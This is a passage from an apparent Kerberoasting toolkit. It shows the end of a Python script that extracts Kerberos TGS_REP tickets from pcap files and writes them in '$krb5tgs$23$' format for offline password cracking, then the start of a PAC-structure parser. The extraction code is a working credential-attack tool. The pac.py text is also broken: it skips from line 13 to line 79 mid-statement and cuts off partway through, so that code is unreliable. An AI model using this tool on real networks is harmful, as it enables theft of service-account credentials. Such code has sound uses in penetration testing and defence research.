if __name__ == '__main__': 61 | import argparse 62 | 63 | parser = argparse.ArgumentParser(description='Find TGS_REP packets in a pcap file and write them for use cracking') 64 | parser.add_argument('-f', '--pcap', dest='pcaps', action='append', required=True, 65 | metavar='PCAPFILE', #type=file, #argparse.FileType('r'), 66 | help='a file to search for Kerberos TGS_REP packets') 67 | parser.add_argument('-w', '--outputfile', dest='outfile', action='store', required=False, 68 | metavar='OUTPUTFILE', type=argparse.FileType('w'), 69 | help='the output file') 70 | parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', default=False, 71 | help='display verbose messages') 72 | 73 | args = parser.parse_args() 74 | kploads = [] 75 | for f in args.pcaps: 76 | packets = rdpcap(f) 77 | kploads += findkerbpayloads(packets, args.verbose) 78 | 79 | if len(kploads) == 0: 80 | print('no payloads found') 81 | sys.exit(0) 82 | 83 | if args.outfile: 84 | print('writing %i hex encoded payloads to %s' % (len(kploads), args.outfile.name)) 85 | 86 | decode_hex = codecs.getdecoder("hex_codec") 87 | for p in kploads: 88 | encticket = decoder.decode(p)[0][4][3][2].asOctets().hex() 89 | out = "$krb5tgs$23$*user$realm$test/spn*$" + encticket[:32] + "$" + encticket[32:] 90 | 91 | if args.outfile: 92 | args.outfile.write(out + '\n') 93 | else: 94 | print(out) -------------------------------------------------------------------------------- /pac.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 -tt 2 | 3 | import struct 4 | import collections 5 | from abc import ABCMeta, abstractmethod 6 | #from datetime import datetime,timedelta 7 | import datetime 8 | import math 9 | 10 | def BytesToTime(b): 11 | # The FILETIME structure is a 64-bit value that represents the number of 12 | # 100-nanosecond intervals that have elapsed since January 1, 1601 (UTC). 13 | mftime = struct.unpack(' 0 and type(args[0]) == datetime.datetime: 79 | dt = args[0] 80 | 81 | #dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo) 82 | if 'nanosecond' in kwargs: 83 | #setattr(dt, 'nanoseconds', args[0].tzinfo) 84 | dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo) 85 | setattr(dt, 'nanosecond', kwargs['nanosecond']) 86 | else: 87 | #setattr(dt, 'nanoseconds', 0) 88 | dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo, nanoseconds=0) 89 | setattr(dt, 'nanosecond', 0) 90 | return dt 91 | else: 92 | dt = super(datetimenano, cls).__new__(cls, *args[:8], **kwargs) 93 | if len(args) == 9: 94 | setattr(cls, 'nanosecond', args[8]) 95 | else: 96 | setattr(cls, 'nanosecond', 0) 97 | return dt 98 | 99 | def __str__(self): 100 | s = super(datetimenano, self).__str__() 101 | return '%s.%09i' % (s.split('.')[0], self.nanosecond) 102 | return s 103 | 104 | class PacInfoStructure(object, metaclass=ABCMeta): 105 | PrettyName = 'PacInfoStructure' 106 | 107 | Type = None 108 | PrettyName = None 109 | BufferSize = None 110 | Offset = None 111 | Data = None 112 | 113 | 114 | def __init__(self, pac, index=0): 115 | if input != None: 116 | offset = 8 + 16 * index 117 | 118 | self.Type, self.BufferSize, self.Offset = struct.unpack('